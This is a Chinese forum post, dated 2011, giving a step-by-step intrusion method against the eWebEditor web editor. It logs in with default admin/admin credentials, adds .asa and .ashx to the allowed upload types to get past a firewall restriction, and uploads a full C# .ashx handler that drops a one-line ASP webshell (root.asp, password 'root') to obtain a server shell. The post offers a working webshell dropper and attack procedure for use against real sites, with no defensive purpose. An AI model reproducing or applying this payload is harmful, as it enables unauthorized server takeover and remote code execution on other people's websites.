查看: 82|回复: 0

[服务器安全] ewebeditor 上传遇到防火墙限制的解决办法 图文

[复制链接]

3

主题

0

回帖

0

积分

热心网友

金币
0
阅读权限
220
精华
0
威望
0
贡献
0
在线时间
0 小时
注册时间
2009-5-2
发表于 2011-5-10 22:18:45 | 显示全部楼层 |阅读模式
这是一个eweb入口(废话)
1.jpg

 

用默认帐户密码admin admin进入


2.jpg

 

样式添加asa扩展名


3.jpg

 

直接上传asp马


4.jpg

 

到这里都是顺利的,但是。。当你访问马的时候。。


5.jpg

 

试过了小马,一句话,会出现同样的问题

 

解决方法:

 

在样式添加里加上扩展名ashx

 

创建一个1.ashx的文件, 上传,代码如下:


复制代码
代码如下:

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {return false; }
}
}
然后直接访问它。。


6.jpg

 

它会在当前目录生成一个root.asp的一句话木马,密码为root


7.jpg

 

然后连接一句话木马就可以啦~~


8.jpg

 

拿到shell


9.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

相关侵权、举报、投诉及建议等,请发 E-mail:qiongdian@foxmail.com

Powered by Discuz! X5.0 © 2001-2026 Discuz! Team.

在本版发帖返回顶部